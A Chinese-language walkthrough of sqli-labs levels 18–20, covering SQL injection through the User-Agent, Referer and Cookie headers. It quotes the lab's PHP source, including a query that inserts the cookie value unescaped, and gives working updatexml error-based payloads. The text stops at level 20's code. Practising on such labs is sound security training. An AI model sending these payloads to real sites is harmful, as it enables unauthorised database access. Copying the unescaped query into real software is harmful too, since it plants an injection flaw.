sqlilabs less18-22 HTTP头的注入

less18 user-agent的注入

源码分析:

check_input对name,password进行了过滤

function check_input($value)

	{

	if(!empty($value))

		{

		// truncation (see comments)

		$value = substr($value,0,20);

		}

		// Stripslashes if magic quotes enabled

		if (get_magic_quotes_gpc())

			{

			$value = stripslashes($value);

			}

		// Quote if not a number

		if (!ctype_digit($value))

			{

			$value = "'" . mysql_real_escape_string($value) . "'";

			}

	else

		{

		$value = intval($value);

		}

	return $value;

	}

进行查询,并进行验证,也就是用户密码正确才能进行下一步

payload:User-Agent:’ or updatexml(1,concat(’#’,(database())),0),’’)#

less19 referer的注入

同上

Referer: ’ or updatexml(1,concat(’#’,(database())),0),’’,’’)#

less-20 cookie的注入

同样的对password和username进行了过滤,cookie中的uname未过滤

账号,密码同样要求正确

通过下面的源码可以发现,非post提交的数据可以之间取cookie进行查询

if(!isset($_POST['submit']))

		{

			$cookee = $_COOKIE['uname'];

			$format = 'D d M Y - H:i:s';

			$timestamp = time() + 3600;

			echo "<center>";

			echo '<br><br><br>';

			echo '<img src="../images/Less-20.jpg" />';

			echo "<br><br><b>";

			echo '<br><font color= "red" font size="4">';

			echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];

			echo "</font><br>";

			echo '<font color= "cyan" font size="4">';

			echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];

			echo "</font><br>";

			echo '<font color= "#FFFF00" font size = 4 >';

			echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";

			echo '<font color= "orange" font size = 5 >';

			echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);

			echo "<br></font>";

			$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

			$result=mysql_query($sql);